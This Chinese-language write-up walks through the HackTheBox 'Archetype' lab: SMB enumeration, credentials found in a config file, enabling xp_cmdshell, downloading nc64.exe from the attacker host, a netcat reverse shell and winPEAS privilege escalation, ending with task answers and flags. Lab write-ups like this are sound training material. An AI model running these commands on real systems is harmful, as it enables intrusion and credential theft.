• HackTheBox-Starting Point--Tier 2---Archetype



    一 Archetype测试过程

    1.1 打点

      1.端口扫描

    nmap -sV -sC 10.129.192.252
    
    • 1

    在这里插入图片描述

      2.枚举SMB共享

    smbclient -N -L \\\\10.129.192.252\\
    
    • 1

    在这里插入图片描述

      查看backups,并发现 prod.dtsConfig 文件,在 prod.dtsConfig 中发现了Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc

    smbclient -N  \\\\10.129.192.252\\backups
    ls
    get prod.dtsConfig 
    exit
    cat prod.dtsConfig 
    # 密码:M3g4c0rp123
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述


    1.2 权限获取


      1.使用impacket工具包的mssqlclient.py脚本连接到mssql服务器

      Microsoft SQL Server 2017正在端口1433上运行,并且在配置文件中发现了用户名和密码,尝试进行连接,使用impacket工具包。

      工具包地址:https://github.com/fortra/impacket

      mssqlclient.py 位于 /impacket/examples目录下

    在这里插入图片描述

    python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.192.252 -windows-auth
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

      2.查看xp_cmdshell是否可用

    # 查看当前用户角色
    SELECT is_srvrolemember('sysadmin');
    
    # 查看 xp_cmdshell是否可用
    EXEC xp_cmdshell 'net user';
    
    • 1
    • 2
    • 3
    • 4
    • 5

      检查发现 xp_cmdshell 未激活

    在这里插入图片描述

      尝试激活 xp_cmdshell

    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    sp_configure;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    在这里插入图片描述

      激活了 xp_cmdshell,使用xp_cmdshell 执行命令,whoami执行成功,如果可以执行命令的话我们就可以执行反向shell

      whoami查询成功,尝试进行反向shell

    在这里插入图片描述

      3.反弹shell

    1.开启http web服务器

    python3 -m http.server 8000
    
    • 1

    2 将 nc64.exe 上传至 C:\Users\sql_svc\Downloads 目录,从http web服务器输出可以看出,nc64.exe 上传成功。

    xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.35:8000/nc64.exe -outfile nc64.exe"
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    3 开启监听
    通过nc将cmd.exe绑定到监听器,执行命令,获取到shell

    ncat -lnvp 4444
    
    • 1
     xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;.\nc64.exe -e cmd.exe 10.10.14.35 4444"
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    4 查看user flag

    在这里插入图片描述


    1.3 权限提升


      1.上传 winPEASx64.exe 工具

    1 开启http web服务器

    python3 -m http.server 8000
    
    • 1

    2 上传 winPEASx64.exe 工具

    wget http://10.10.14.35:8080/winPEASx64.exe -outfile winPEASx64.exe
    
    • 1

    在这里插入图片描述

    3 执行 .\winPEASx64.exe 运行工具,发现存储PowerShell历史记录的文件夹及其他敏感信息

     .\winPEASx64.exe
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    4 在存储PowerShell历史记录的文件夹,发现了user:administrator MEGACORP_4dm1n!!

    cd AppData
    cd Roaming\Microsoft\Windows\PowerShell\PSReadline\
    dir
    type ConsoleHost_history.txt
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    5 使用 psexec.py 工具获取shell

    工具地址:https://github.com/fortra/impacket

    在这里插入图片描述

    6 查看root flag

    在这里插入图片描述


    二 题目


    Tags

    Network、Protocols、MSSQL、SMB、Impacket、Powershell、Reconnaissance、Remote Code Execution、Clear Text Credentials、Information Disclosure、Anonymous/Guest Access
    
    译文:网络、协议、SQL Server、SMB、Impacket、Powershell、侦察、远程代码执行、明文凭证、信息披露、匿名/访客访问
    
    • 1
    • 2
    • 3

    Connect

    To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
    It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
    
    译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
    HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    SPAWN MACHINE

    Spawn the target machine and the IP will show here.
    
    译文:生成目标机器,IP 将显示在此处
    
    • 1
    • 2
    • 3

    TASK 1

    Which TCP port is hosting a database server?
    
    译文:哪个 TCP 端口托管数据库服务器?
    
    答:1433
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 2

    What is the name of the non-Administrative share available over SMB?
    
    译文:通过 SMB 提供的非管理共享的名称是什么?
    
    答:backups
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 3

    What is the password identified in the file on the SMB share?
    
    译文:SMB 共享上的文件中标识的密码是什么?
    
    答:M3g4c0rp123
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 4

    What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?
    
    译文:可以使用 Impacket 集合中的哪些脚本来建立与 Microsoft SQL Server 的经过身份验证的连接?
    
    答:mssqlclient.py
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 5

    What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?
    
    译文:可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令 shell?
    
    答:xp_cmdshell
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 6

    What script can be used in order to search possible paths to escalate privileges on Windows hosts?
    
    译文:可以使用什么脚本来搜索在 Windows 主机上升级权限的可能路径?
    
    答:winpeas
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 7

    What file contains the administrator's password?
    
    译文:哪个文件包含管理员密码?
    
    答:ConsoleHost_History.txt
    
    • 1
    • 2
    • 3
    • 4
    • 5

    SUBMIT FLAG

    Submit user flag
    
    译文:用户flag
    
    答:3e7b102e78218e935bf3f4951fec21a3
    
    • 1
    • 2
    • 3
    • 4
    • 5

    SUBMIT FLAG

    Submit root flag
    
    译文:提交root flag
    
    答:b91ccec3305e98240082d4474b848528
    
    • 1
    • 2
    • 3
    • 4
    • 5

  • 相关阅读:
    日期分析处理
    python基础爬虫&反爬破解
    MySql Workbench 8.0汉化插件分享
    Ubuntu挂载windows下的共享文件夹
    【刷题篇】动态规划(三)
    MIPS汇编入门
    神经网络的可解释性方法
    java毕业设计仓库管理系统mybatis+源码+调试部署+系统+数据库+lw
    【优化组合】基于matlab人工蜂群算法求解投资优化组合问题【含Matlab源码 2137期】
    小程序引入隐私政策
  • 原文地址:https://blog.csdn.net/sycamorelg/article/details/134285752